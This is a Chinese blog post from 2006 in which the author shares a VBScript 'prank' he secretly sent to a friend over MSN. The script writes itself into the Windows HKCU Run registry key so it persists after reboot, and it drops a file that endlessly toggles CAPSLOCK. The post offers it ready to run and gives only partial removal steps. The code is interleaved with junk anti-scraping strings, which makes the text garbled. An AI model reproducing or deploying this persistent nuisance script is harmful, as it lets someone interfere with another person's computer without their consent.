一段整人的脚本
上一篇 /
下一篇 2006-08-22 17:23:38 / 天气: 晴朗
/ 心情: 高兴
/ 个人分类:程序设计
昨天晚上,1:00上线,MSN列表上只有老俞一个人,然后想整整她,用VBS写了一个脚本传了过去。之后她的键盘就#%@#了,HOHO。在此道歉。很真诚的那种。恩
今天下午,把昨天写的那个脚本又增强了。把它写到启动项里面去了。别人重启也无济于事了。整人脚本如下:
Set Regwsh=WScript.CreateObject("WScript.Shell")天空博客\,gWokL+Y@
f
Regwsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Joke_LeYan" ,"C:\1.vbs"
Regwsh.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\name" , "乐彦到此一游"天空博客%^8J S3h*E~~{l.s
Set file = CreateObject("Scripting.FileSystemObject")天空博客-V7Dk$g {J
Set MyFile = file.CreateTextFile("c:\1.vbs",True)天空博客P1k.B K"J0Rz'H5ag
MyFile.WriteLine("While (1)")天空博客!_d4K)HI
MyFile.WriteLine("Dim i")
Lg
}Eb\0MyFile.WriteLine("For i=1 TO 999999")
cA5P-s
VV3eE Yq7D0MyFile.WriteLine("Next")天空博客 i:ry.b\"w
MyFile.WriteLine("set WshShell = CreateObject(""WScript.Shell"")")天空博客+}a&H"zn3^%o
MyFile.WriteLine("WshShell.SendKeys ""{CAPSLOCK}""")
S5bN[2p/g)a(oU0MyFile.WriteLine("Wend")
/wE|E#VJowE-m$w0MyFile.Close天空博客N(o-Z|
d~R
While (1)天空博客+DW2QU7F$UV
Dim i
0Rt/f;c{|4W0For i=1 TO 999999
V2i'yW9W.d0Next天空博客8v"J9gCUqNg
set WshShell = CreateObject("WScript.Shell")
v.e|Z3Na9pE0WshShell.SendKeys "{CAPSLOCK}"
?0u(sHgi0Wend
上述代码保存为*.vbs就可运行
在任务管理器中关闭WScript进程就可关闭。
导入论坛
引用链接
收藏
分享给好友
管理
举报
TAG:
程序设计